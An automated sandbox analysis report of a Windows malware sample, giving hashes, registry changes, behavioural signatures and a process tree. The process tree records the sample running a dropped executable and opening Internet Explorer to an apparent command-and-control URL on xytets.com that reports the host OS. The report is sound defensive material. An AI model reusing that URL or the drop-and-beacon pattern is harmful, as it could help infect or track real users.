Analysis
-
max time kernel
354s -
max time network
401s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
02/12/2022, 21:13
Static task
static1
Behavioral task
behavioral1
Sample
91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe
Resource
win7-20220812-en
windows7-x64
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe
Resource
win10v2004-20221111-en
windows10-2004-x64
6 signatures
150 seconds
General
-
Target
91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe
-
Size
361KB
-
MD5
3640c4bb89d267e29fa317abdee6481e
-
SHA1
4da2d94497cea1ec0f6ea0c40b35ad9a42c739b1
-
SHA256
91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3
-
SHA512
62e1369162596006bde368bca88db5f0fcaaeaefde024de321f71ba49f6810464a9160867b6533c233e8f2638f5a91cf6b52bfc2c06c2ea5d064745c921d6b5f
-
SSDEEP
6144:3flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:3flfAsiVGjSGecvX
Score
8/10
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 4804 kfdxvpnhfaxsqkic.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1679273628" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31000787" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1679273628" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31000787" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{7C3BF093-74C6-11ED-B5DD-D668443210E4} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe 4804 kfdxvpnhfaxsqkic.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 648 Process not Found -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2816 iexplore.exe 2816 iexplore.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4448 wrote to memory of 4804 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 79 PID 4448 wrote to memory of 4804 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 79 PID 4448 wrote to memory of 4804 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 79 PID 4448 wrote to memory of 2816 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 81 PID 4448 wrote to memory of 2816 4448 91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe 81 PID 2816 wrote to memory of 4912 2816 iexplore.exe 83 PID 2816 wrote to memory of 4912 2816 iexplore.exe 83 PID 2816 wrote to memory of 4912 2816 iexplore.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe"C:\Users\Admin\AppData\Local\Temp\91a344fe3ce0ded6d16e1c4bcf6f111fca14e5a9165f8183887bea6f286164f3.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Temp\kfdxvpnhfaxsqkic.exeC:\Temp\kfdxvpnhfaxsqkic.exe run2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4804
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:17410 /prefetch:23⤵PID:4912
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
361KB
MD596910c6e58df0698926610d1777db475
SHA19a44aa4f44bbc4046ff2a0fdefe05bd1ab972955
SHA256d46cdd292b3d0e2a0e667725bbfda9df63702f77acaa2ad73ee158d74fe0bd6e
SHA5127e30ec32a56e122073f9276362aa027b0c26ace843a31f05fe281debbd3f62c1a8fe59b4aa4724d8fac799e8cced87e136b912a4b93915664c05d7981c2e6937
-
Filesize
361KB
MD596910c6e58df0698926610d1777db475
SHA19a44aa4f44bbc4046ff2a0fdefe05bd1ab972955
SHA256d46cdd292b3d0e2a0e667725bbfda9df63702f77acaa2ad73ee158d74fe0bd6e
SHA5127e30ec32a56e122073f9276362aa027b0c26ace843a31f05fe281debbd3f62c1a8fe59b4aa4724d8fac799e8cced87e136b912a4b93915664c05d7981c2e6937